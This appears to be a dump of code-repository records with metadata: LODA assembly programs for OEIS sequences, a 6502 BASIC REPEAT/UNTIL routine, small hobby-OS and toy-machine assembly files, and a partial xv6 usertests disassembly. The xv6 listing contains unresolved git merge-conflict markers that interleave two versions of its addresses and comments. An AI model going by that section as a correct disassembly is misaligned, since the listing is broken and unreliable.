[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/041/A041006.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/041/A041006.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A041006: Numerators of continued fraction convergents to sqrt(6).
; Submitted by Jon Maiga
; 2,5,22,49,218,485,2158,4801,21362,47525,211462,470449,2093258,4656965,20721118,46099201,205117922,456335045,2030458102,4517251249,20099463098,44716177445,198964172878,442644523201,1969542265682,4381729054565,19496458483942,43374646022449,192995042573738,429364731169925,1910453967253438,4250272665676801,18911544629960642,42073361925598085,187204992332352982,416483346590304049,1853138378693569178,4122760103977442405,18344178794603338798,40811117693184120001,181588649567339818802
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,2
mul $2,2
add $3,$2
lpe
mov $0,$3
| 41.058824
| 483
| 0.818052
|
c58f8a6f6a2c6c8b146f4baf8aa193a5f20896d2
| 1,850
|
asm
|
Assembly
|
source/main/commands/structures/repeat.asm
|
paulscottrobson/6502-basic
|
d4c360041bfa49427a506465e58bb0ef94beaa44
|
[
"MIT"
] | 3
|
2021-09-30T19:34:11.000Z
|
2021-10-31T06:55:50.000Z
|
source/main/commands/structures/repeat.asm
|
paulscottrobson/6502-Basic
|
d4c360041bfa49427a506465e58bb0ef94beaa44
|
[
"MIT"
] | null | null | null |
source/main/commands/structures/repeat.asm
|
paulscottrobson/6502-Basic
|
d4c360041bfa49427a506465e58bb0ef94beaa44
|
[
"MIT"
] | 1
|
2021-12-07T21:58:44.000Z
|
2021-12-07T21:58:44.000Z
|
; *****************************************************************************
; *****************************************************************************
;
; Name: repeat.asm
; Author: Paul Robson (paul@robsons.org.uk)
; Date: 1st March 2021
; Reviewed: 7th March 2021
; Purpose: Repeat/Until
;
; *****************************************************************************
; *****************************************************************************
.section code
; *****************************************************************************
;
; REPEAT
;
; *****************************************************************************
Command_Repeat: ;; [Repeat]
ldx #4 ; allocate 4 bytes on stack for REPEAT
lda #markerREPEAT ; repeat marker allocate 4 bytes
jsr RSClaim
lda #1 ; save position at offset 1.
jsr RSSavePosition
rts
; *****************************************************************************
;
; UNTIL
;
; *****************************************************************************
Command_Until: ;; [until]
rscheck markerREPEAT,untilErr ; check TOS is a REPEAT
jsr EvaluateRootInteger ; at the bottom.
jsr MInt32Zero ; check if TOS zero
bne _CUExit
lda #1
jsr RSLoadPosition ; reload the position from offset 1.
rts
;
_CUExit:
lda #4 ; throw 4 bytes from stack.
jsr RSFree
rts
.send code
; ************************************************************************************************
;
; Changes and Updates
;
; ************************************************************************************************
;
; Date Notes
; ==== =====
; 07-Mar-21 Pre code read v0.01
;
; ************************************************************************************************
| 29.83871
| 98
| 0.299459
|
4912bb3a72818438f194bdddcfed9971c1819028
| 730
|
asm
|
Assembly
|
oeis/041/A041111.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/041/A041111.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/041/A041111.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A041111: Denominators of continued fraction convergents to sqrt(63).
; Submitted by Christian Krause
; 1,1,15,16,239,255,3809,4064,60705,64769,967471,1032240,15418831,16451071,245733825,262184896,3916322369,4178507265,62415424079,66593931344,994730462895,1061324394239,15853271982241,16914596376480,252657621252961,269572217629441,4026668668065135,4296240885694576,64174041067789199,68470281953483775,1022757988416562049,1091228270370045824,16299953773597203585,17391182043967249409,259776502389138695311,277167684433105944720,4140124084452621921391,4417291768885727866111,65982208848852812046945
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,2
dif $2,7
mul $2,14
lpe
mov $0,$2
div $0,14
| 40.555556
| 495
| 0.824658
|
a887793f6f397ad581053035030672dfe0a8eef9
| 822
|
asm
|
Assembly
|
OrcaHLL/what window should look like.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 5
|
2015-02-25T01:28:09.000Z
|
2021-05-22T09:03:04.000Z
|
OrcaHLL/what window should look like.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 38
|
2015-02-10T18:37:11.000Z
|
2017-10-03T03:08:50.000Z
|
OrcaHLL/what window should look like.asm
|
jaredwhitney/os3
|
05e0cda4670da093cc720d0dccbfeb29e788fa0f
|
[
"MIT"
] | 2
|
2016-05-06T22:48:46.000Z
|
2017-01-12T19:28:49.000Z
|
Window.create :
pop dword [Window.retstor]
pop byte [Window.create.$local.type]
pop dword [Window.create.$local.title]
push eax
push ebx
push edx
mov ax, 0x0501
mov ecx, <<CLASS_SIZE>>
push ecx
int 0x30
mov [Window.create.$local.ret], ecx
; init things that I'm really too lazy to do out only for an example (subvarstuffs)
mov ax, 0x0001
mov ecx, 1
push ecx
int 0x30
mov ebx, ecx
mov ax, 0x0001
mov ecx, 2
push ecx
int 0x30
imul ecx, ebx
mov [Window.create.$local.size], ecx
mov ax, 0x0502
mov ecx, [Window.create.$local.size]
push ecx
int 0x30
; set the subvarthing
mov ax, 0x0502
mov ecx, [Window.create.$local.size]
push ecx
int 0x30
; set the subvarthing
mov ax, 0x0502
mov ecx, [Window.create.$local.size]
push ecx
int 0x30
; set the subvarthing
mov ecx, [Window.create.$local.ret]
pop edx
pop ebx
pop eax
ret
| 15.807692
| 83
| 0.738443
|
4478249e440f30b1ee4040cd5b54dee0e5ed1a76
| 415
|
asm
|
Assembly
|
csie/08asm/toy/Toyasm/multest.asm
|
dk00/old-stuff
|
e1184684c85fe9bbd1ceba58b94d4da84c67784e
|
[
"Unlicense"
] | null | null | null |
csie/08asm/toy/Toyasm/multest.asm
|
dk00/old-stuff
|
e1184684c85fe9bbd1ceba58b94d4da84c67784e
|
[
"Unlicense"
] | null | null | null |
csie/08asm/toy/Toyasm/multest.asm
|
dk00/old-stuff
|
e1184684c85fe9bbd1ceba58b94d4da84c67784e
|
[
"Unlicense"
] | null | null | null |
A DW 3
B DW 4
C DW 5
; calculate A*B*C
main ld RA, A
ld RB, B
ld RC, C
jl RF, mul3
st RD, 0xFF
hlt
; RD=RA*RB*RC
; return address is in RF
mul3 jl RE, push ; push return address
lda RD, 0 ; RD=0
add RD, RC, R0 ; RD=RC
jl RF, mul ; RC=RA*RB
add RA, RC, R0 ; RA=RC=RA*RB
add RB, RD, R0 ; RB=RD=RC
jl RF, mul
add RD, RC, R0 ; move result to RD
jl RE, pop ; pop return address and return
jr RF
| 14.310345
| 44
| 0.604819
|
45e9c3e0c7b38c7ba787d31d516d13f2231f9cea
| 1,300
|
asm
|
Assembly
|
programs/oeis/110/A110526.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/110/A110526.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/110/A110526.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A110526: a(n+3) = 3*a(n+2) + 5*a(n+1) + a(n), a(0) = 0, a(1) = 1, a(2) = 3.
; 0,1,3,14,58,247,1045,4428,18756,79453,336567,1425722,6039454,25583539,108373609,459077976,1944685512,8237820025,34895965611,147821682470,626182695490,2652552464431,11236392553213,47598122677284,201628883262348,854113655726677,3618083506169055,15326447680402898,64923874227780646,275021944591525483,1165011652593882577,4935068554967055792,20905285872462105744,88556212044815478769,375130134051724020819,1589076748251711562046,6731437127058570269002,28514825256485992638055,120790738153002540821221,511677777868496155922940,2167501849626987164512980,9181685176376444813974861,38894242555132766420412423,164758655396907510495624554,697928864142762808402910638,2956474111967958744107267107,12523825312014597784831979065,53051775360026349883435183368,224730926752119997318572712536,951975482368506339157726033513,4032632856226145353949476846587,17082506907273087754955633419862,72362660485318496373772010526034,306533148848547073250043675523999,1298495255879506789373946712622029,5500514172366574230745830526012116,23300551945345803712357268816670492,98702721953749789080174905792694085,418111439760344960033056891987446831
seq $0,49651 ; a(n) = (F(3*n+1) - 1)/2, where F=A000045 (the Fibonacci sequence).
add $0,1
div $0,2
| 185.714286
| 1,120
| 0.883846
|
55d5375af35afc729e41ecfbec97a8833fd68d9f
| 316
|
asm
|
Assembly
|
oeis/168/A168429.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/168/A168429.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/168/A168429.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A168429: a(n) = 4^n mod 11.
; 1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3,1,4,5,9,3
mov $1,2
mov $2,$0
lpb $2
mul $1,4
mod $1,22
sub $2,1
lpe
mov $0,$1
div $0,2
| 24.307692
| 201
| 0.503165
|
92e1e1e708e90f4e9c9465f3a12520e2f03037b5
| 887
|
asm
|
Assembly
|
oeis/266/A266844.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/266/A266844.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/266/A266844.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A266844: Binary representation of the n-th iteration of the "Rule 70" elementary cellular automaton starting with a single ON (black) cell.
; Submitted by Christian Krause
; 1,110,10100,1101000,101010000,11010100000,1010101000000,110101010000000,10101010100000000,1101010101000000000,101010101010000000000,11010101010100000000000,1010101010101000000000000,110101010101010000000000000,10101010101010100000000000000,1101010101010101000000000000000,101010101010101010000000000000000,11010101010101010100000000000000000,1010101010101010101000000000000000000,110101010101010101010000000000000000000,10101010101010101010100000000000000000000
seq $0,266846 ; Decimal representation of the n-th iteration of the "Rule 70" elementary cellular automaton starting with a single ON (black) cell.
seq $0,5836 ; Numbers n whose base 3 representation contains no 2.
seq $0,7089 ; Numbers in base 3.
| 110.875
| 463
| 0.86584
|
9e2197055609e637ca36fec0c82bce2a98567feb
| 537
|
asm
|
Assembly
|
oeis/016/A016858.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/016/A016858.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/016/A016858.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A016858: (5n)^10.
; 0,9765625,10000000000,576650390625,10240000000000,95367431640625,590490000000000,2758547353515625,10485760000000000,34050628916015625,97656250000000000,253295162119140625,604661760000000000,1346274334462890625,2824752490000000000,5631351470947265625,10737418240000000000,19687440434072265625,34867844010000000000,59873693923837890625,100000000000000000000,162889462677744140625,259374246010000000000,404555773570791015625,619173642240000000000,931322574615478515625,1378584918490000000000
pow $0,10
mul $0,9765625
| 89.5
| 490
| 0.912477
|
f333a419f14fa4d0fa7857d1ff763d99cba08677
| 592
|
asm
|
Assembly
|
programs/oeis/158/A158705.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/158/A158705.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/158/A158705.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A158705: Nonnegative integers with an odd number of even powers of 2 in their base-2 representation.
; 1,3,4,6,9,11,12,14,16,18,21,23,24,26,29,31,33,35,36,38,41,43,44,46,48,50,53,55,56,58,61,63,64,66,69,71,72,74,77,79,81,83,84,86,89,91,92,94,96,98,101,103,104,106,109,111,113,115,116,118,121,123,124,126,129,131,132,134,137,139,140,142,144,146,149,151,152,154,157,159,161,163,164,166,169,171,172,174,176,178,181,183,184,186,189,191,192,194,197,199
mov $5,$0
mul $0,2
mov $2,3
mov $3,$0
lpb $0
sub $0,1
div $3,4
add $2,$3
lpe
mod $2,2
mov $1,$2
mov $4,$5
mul $4,2
add $1,$4
mov $0,$1
| 31.157895
| 346
| 0.673986
|
54b29d2aa8e10581975f8da8f57c9e50195cb8bc
| 522
|
asm
|
Assembly
|
programs/oeis/001/A001906.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/001/A001906.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/001/A001906.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A001906: F(2n) = bisection of Fibonacci sequence: a(n) = 3*a(n-1) - a(n-2).
; 0,1,3,8,21,55,144,377,987,2584,6765,17711,46368,121393,317811,832040,2178309,5702887,14930352,39088169,102334155,267914296,701408733,1836311903,4807526976,12586269025,32951280099,86267571272,225851433717,591286729879,1548008755920,4052739537881,10610209857723,27777890035288,72723460248141,190392490709135,498454011879264,1304969544928657,3416454622906707,8944394323791464
mov $2,21
lpb $0,1
sub $0,1
add $1,$2
add $2,$1
lpe
div $1,21
| 47.454545
| 374
| 0.795019
|
2e8dbb5f598b8015573482dce2696f84bc697358
| 383
|
asm
|
Assembly
|
oeis/020/A020132.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/020/A020132.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/020/A020132.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A020132: Ceiling of GAMMA(n+1/4)/GAMMA(1/4).
; Submitted by Christian Krause
; 1,1,1,1,3,10,51,319,2311,19061,176311,1807182,20330789,249052162,3299941146,47024161318,717118460091,11653174976469,201017268344079,3668565147279424,70619879085128904,1430052551473860293
lpb $0
seq $0,20087 ; a(n) = floor( Gamma(n + 1/4)/Gamma(1/4) ).
mov $1,$0
cmp $0,$2
lpe
mov $0,$1
add $0,1
| 31.916667
| 188
| 0.73107
|
8b9416a6fa642f7d8a606a847645f69a1b04c9b4
| 658,475
|
asm
|
Assembly
|
user/usertests.asm
|
MyBeLoVedL/xv6
|
52292ebf9540b066ac9247744db30a95f8df8ea8
|
[
"MIT-0"
] | null | null | null |
user/usertests.asm
|
MyBeLoVedL/xv6
|
52292ebf9540b066ac9247744db30a95f8df8ea8
|
[
"MIT-0"
] | null | null | null |
user/usertests.asm
|
MyBeLoVedL/xv6
|
52292ebf9540b066ac9247744db30a95f8df8ea8
|
[
"MIT-0"
] | null | null | null |
user/_usertests: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <copyinstr1>:
0: 1141 addi sp,sp,-16
2: e406 sd ra,8(sp)
4: e022 sd s0,0(sp)
6: 0800 addi s0,sp,16
8: 20100593 li a1,513
c: 4505 li a0,1
e: 057e slli a0,a0,0x1f
10: 00005097 auipc ra,0x5
14: 4fc080e7 jalr 1276(ra) # 550c <open>
<<<<<<< HEAD
=======
if (fd >= 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
18: 02055063 bgez a0,38 <copyinstr1+0x38>
1c: 20100593 li a1,513
20: 557d li a0,-1
22: 00005097 auipc ra,0x5
26: 4ea080e7 jalr 1258(ra) # 550c <open>
<<<<<<< HEAD
=======
uint64 addr = addrs[ai];
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2a: 55fd li a1,-1
2c: 00055863 bgez a0,3c <copyinstr1+0x3c>
30: 60a2 ld ra,8(sp)
32: 6402 ld s0,0(sp)
34: 0141 addi sp,sp,16
36: 8082 ret
38: 4585 li a1,1
3a: 05fe slli a1,a1,0x1f
3c: 862a mv a2,a0
3e: 00006517 auipc a0,0x6
<<<<<<< HEAD
42: d4250513 addi a0,a0,-702 # 5d80 <l_free+0x318>
46: 00006097 auipc ra,0x6
4a: 800080e7 jalr -2048(ra) # 5846 <printf>
=======
42: d4250513 addi a0,a0,-702 # 5d80 <l_free+0x31a>
46: 00005097 auipc ra,0x5
4a: 7fe080e7 jalr 2046(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4e: 4505 li a0,1
50: 00005097 auipc ra,0x5
54: 47c080e7 jalr 1148(ra) # 54cc <exit>
0000000000000058 <bsstest>:
58: 00009797 auipc a5,0x9
5c: 2a878793 addi a5,a5,680 # 9300 <uninit>
60: 0000c697 auipc a3,0xc
64: 9b068693 addi a3,a3,-1616 # ba10 <buf>
68: 0007c703 lbu a4,0(a5)
6c: e709 bnez a4,76 <bsstest+0x1e>
6e: 0785 addi a5,a5,1
70: fed79ce3 bne a5,a3,68 <bsstest+0x10>
74: 8082 ret
76: 1141 addi sp,sp,-16
78: e406 sd ra,8(sp)
7a: e022 sd s0,0(sp)
7c: 0800 addi s0,sp,16
7e: 85aa mv a1,a0
80: 00006517 auipc a0,0x6
<<<<<<< HEAD
84: d2050513 addi a0,a0,-736 # 5da0 <l_free+0x338>
88: 00005097 auipc ra,0x5
8c: 7be080e7 jalr 1982(ra) # 5846 <printf>
=======
84: d2050513 addi a0,a0,-736 # 5da0 <l_free+0x33a>
88: 00005097 auipc ra,0x5
8c: 7bc080e7 jalr 1980(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
90: 4505 li a0,1
92: 00005097 auipc ra,0x5
96: 43a080e7 jalr 1082(ra) # 54cc <exit>
000000000000009a <opentest>:
9a: 1101 addi sp,sp,-32
9c: ec06 sd ra,24(sp)
9e: e822 sd s0,16(sp)
a0: e426 sd s1,8(sp)
a2: 1000 addi s0,sp,32
a4: 84aa mv s1,a0
a6: 4581 li a1,0
a8: 00006517 auipc a0,0x6
<<<<<<< HEAD
ac: d1050513 addi a0,a0,-752 # 5db8 <l_free+0x350>
b0: 00005097 auipc ra,0x5
b4: 45c080e7 jalr 1116(ra) # 550c <open>
=======
ac: d1050513 addi a0,a0,-752 # 5db8 <l_free+0x352>
b0: 00005097 auipc ra,0x5
b4: 45c080e7 jalr 1116(ra) # 550c <open>
if (fd < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
b8: 02054663 bltz a0,e4 <opentest+0x4a>
bc: 00005097 auipc ra,0x5
c0: 438080e7 jalr 1080(ra) # 54f4 <close>
<<<<<<< HEAD
c4: 4581 li a1,0
c6: 00006517 auipc a0,0x6
ca: d1250513 addi a0,a0,-750 # 5dd8 <l_free+0x370>
ce: 00005097 auipc ra,0x5
d2: 43e080e7 jalr 1086(ra) # 550c <open>
=======
fd = open("doesnotexist", 0);
c4: 4581 li a1,0
c6: 00006517 auipc a0,0x6
ca: d1250513 addi a0,a0,-750 # 5dd8 <l_free+0x372>
ce: 00005097 auipc ra,0x5
d2: 43e080e7 jalr 1086(ra) # 550c <open>
if (fd >= 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
d6: 02055563 bgez a0,100 <opentest+0x66>
da: 60e2 ld ra,24(sp)
dc: 6442 ld s0,16(sp)
de: 64a2 ld s1,8(sp)
e0: 6105 addi sp,sp,32
e2: 8082 ret
e4: 85a6 mv a1,s1
e6: 00006517 auipc a0,0x6
<<<<<<< HEAD
ea: cda50513 addi a0,a0,-806 # 5dc0 <l_free+0x358>
ee: 00005097 auipc ra,0x5
f2: 758080e7 jalr 1880(ra) # 5846 <printf>
f6: 4505 li a0,1
f8: 00005097 auipc ra,0x5
fc: 3d4080e7 jalr 980(ra) # 54cc <exit>
100: 85a6 mv a1,s1
102: 00006517 auipc a0,0x6
106: ce650513 addi a0,a0,-794 # 5de8 <l_free+0x380>
10a: 00005097 auipc ra,0x5
10e: 73c080e7 jalr 1852(ra) # 5846 <printf>
=======
ea: cda50513 addi a0,a0,-806 # 5dc0 <l_free+0x35a>
ee: 00005097 auipc ra,0x5
f2: 756080e7 jalr 1878(ra) # 5844 <printf>
exit(1);
f6: 4505 li a0,1
f8: 00005097 auipc ra,0x5
fc: 3d4080e7 jalr 980(ra) # 54cc <exit>
printf("%s: open doesnotexist succeeded!\n", s);
100: 85a6 mv a1,s1
102: 00006517 auipc a0,0x6
106: ce650513 addi a0,a0,-794 # 5de8 <l_free+0x382>
10a: 00005097 auipc ra,0x5
10e: 73a080e7 jalr 1850(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
112: 4505 li a0,1
114: 00005097 auipc ra,0x5
118: 3b8080e7 jalr 952(ra) # 54cc <exit>
000000000000011c <truncate2>:
11c: 7179 addi sp,sp,-48
11e: f406 sd ra,40(sp)
120: f022 sd s0,32(sp)
122: ec26 sd s1,24(sp)
124: e84a sd s2,16(sp)
126: e44e sd s3,8(sp)
128: 1800 addi s0,sp,48
12a: 89aa mv s3,a0
12c: 00006517 auipc a0,0x6
<<<<<<< HEAD
130: ce450513 addi a0,a0,-796 # 5e10 <l_free+0x3a8>
134: 00005097 auipc ra,0x5
138: 3e8080e7 jalr 1000(ra) # 551c <unlink>
13c: 60100593 li a1,1537
140: 00006517 auipc a0,0x6
144: cd050513 addi a0,a0,-816 # 5e10 <l_free+0x3a8>
=======
130: ce450513 addi a0,a0,-796 # 5e10 <l_free+0x3aa>
134: 00005097 auipc ra,0x5
138: 3e8080e7 jalr 1000(ra) # 551c <unlink>
int fd1 = open("truncfile", O_CREATE | O_TRUNC | O_WRONLY);
13c: 60100593 li a1,1537
140: 00006517 auipc a0,0x6
144: cd050513 addi a0,a0,-816 # 5e10 <l_free+0x3aa>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
148: 00005097 auipc ra,0x5
14c: 3c4080e7 jalr 964(ra) # 550c <open>
150: 84aa mv s1,a0
152: 4611 li a2,4
154: 00006597 auipc a1,0x6
<<<<<<< HEAD
158: ccc58593 addi a1,a1,-820 # 5e20 <l_free+0x3b8>
15c: 00005097 auipc ra,0x5
160: 390080e7 jalr 912(ra) # 54ec <write>
164: 40100593 li a1,1025
168: 00006517 auipc a0,0x6
16c: ca850513 addi a0,a0,-856 # 5e10 <l_free+0x3a8>
=======
158: ccc58593 addi a1,a1,-820 # 5e20 <l_free+0x3ba>
15c: 00005097 auipc ra,0x5
160: 390080e7 jalr 912(ra) # 54ec <write>
int fd2 = open("truncfile", O_TRUNC | O_WRONLY);
164: 40100593 li a1,1025
168: 00006517 auipc a0,0x6
16c: ca850513 addi a0,a0,-856 # 5e10 <l_free+0x3aa>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
170: 00005097 auipc ra,0x5
174: 39c080e7 jalr 924(ra) # 550c <open>
178: 892a mv s2,a0
17a: 4605 li a2,1
17c: 00006597 auipc a1,0x6
<<<<<<< HEAD
180: cac58593 addi a1,a1,-852 # 5e28 <l_free+0x3c0>
184: 8526 mv a0,s1
186: 00005097 auipc ra,0x5
18a: 366080e7 jalr 870(ra) # 54ec <write>
=======
180: cac58593 addi a1,a1,-852 # 5e28 <l_free+0x3c2>
184: 8526 mv a0,s1
186: 00005097 auipc ra,0x5
18a: 366080e7 jalr 870(ra) # 54ec <write>
if (n != -1) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
18e: 57fd li a5,-1
190: 02f51b63 bne a0,a5,1c6 <truncate2+0xaa>
194: 00006517 auipc a0,0x6
<<<<<<< HEAD
198: c7c50513 addi a0,a0,-900 # 5e10 <l_free+0x3a8>
19c: 00005097 auipc ra,0x5
1a0: 380080e7 jalr 896(ra) # 551c <unlink>
1a4: 8526 mv a0,s1
1a6: 00005097 auipc ra,0x5
1aa: 34e080e7 jalr 846(ra) # 54f4 <close>
1ae: 854a mv a0,s2
1b0: 00005097 auipc ra,0x5
1b4: 344080e7 jalr 836(ra) # 54f4 <close>
=======
198: c7c50513 addi a0,a0,-900 # 5e10 <l_free+0x3aa>
19c: 00005097 auipc ra,0x5
1a0: 380080e7 jalr 896(ra) # 551c <unlink>
close(fd1);
1a4: 8526 mv a0,s1
1a6: 00005097 auipc ra,0x5
1aa: 34e080e7 jalr 846(ra) # 54f4 <close>
close(fd2);
1ae: 854a mv a0,s2
1b0: 00005097 auipc ra,0x5
1b4: 344080e7 jalr 836(ra) # 54f4 <close>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1b8: 70a2 ld ra,40(sp)
1ba: 7402 ld s0,32(sp)
1bc: 64e2 ld s1,24(sp)
1be: 6942 ld s2,16(sp)
1c0: 69a2 ld s3,8(sp)
1c2: 6145 addi sp,sp,48
1c4: 8082 ret
1c6: 862a mv a2,a0
1c8: 85ce mv a1,s3
1ca: 00006517 auipc a0,0x6
<<<<<<< HEAD
1ce: c6650513 addi a0,a0,-922 # 5e30 <l_free+0x3c8>
1d2: 00005097 auipc ra,0x5
1d6: 674080e7 jalr 1652(ra) # 5846 <printf>
=======
1ce: c6650513 addi a0,a0,-922 # 5e30 <l_free+0x3ca>
1d2: 00005097 auipc ra,0x5
1d6: 672080e7 jalr 1650(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1da: 4505 li a0,1
1dc: 00005097 auipc ra,0x5
1e0: 2f0080e7 jalr 752(ra) # 54cc <exit>
00000000000001e4 <createtest>:
1e4: 7179 addi sp,sp,-48
1e6: f406 sd ra,40(sp)
1e8: f022 sd s0,32(sp)
1ea: ec26 sd s1,24(sp)
1ec: e84a sd s2,16(sp)
1ee: e44e sd s3,8(sp)
1f0: 1800 addi s0,sp,48
1f2: 00008797 auipc a5,0x8
1f6: fe678793 addi a5,a5,-26 # 81d8 <name>
1fa: 06100713 li a4,97
1fe: 00e78023 sb a4,0(a5)
202: 00078123 sb zero,2(a5)
206: 03000493 li s1,48
20a: 893e mv s2,a5
20c: 06400993 li s3,100
210: 009900a3 sb s1,1(s2)
214: 20200593 li a1,514
218: 854a mv a0,s2
21a: 00005097 auipc ra,0x5
21e: 2f2080e7 jalr 754(ra) # 550c <open>
<<<<<<< HEAD
222: 00005097 auipc ra,0x5
226: 2d2080e7 jalr 722(ra) # 54f4 <close>
=======
close(fd);
222: 00005097 auipc ra,0x5
226: 2d2080e7 jalr 722(ra) # 54f4 <close>
for (i = 0; i < N; i++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
22a: 2485 addiw s1,s1,1
22c: 0ff4f493 zext.b s1,s1
230: ff3490e3 bne s1,s3,210 <createtest+0x2c>
234: 00008797 auipc a5,0x8
238: fa478793 addi a5,a5,-92 # 81d8 <name>
23c: 06100713 li a4,97
240: 00e78023 sb a4,0(a5)
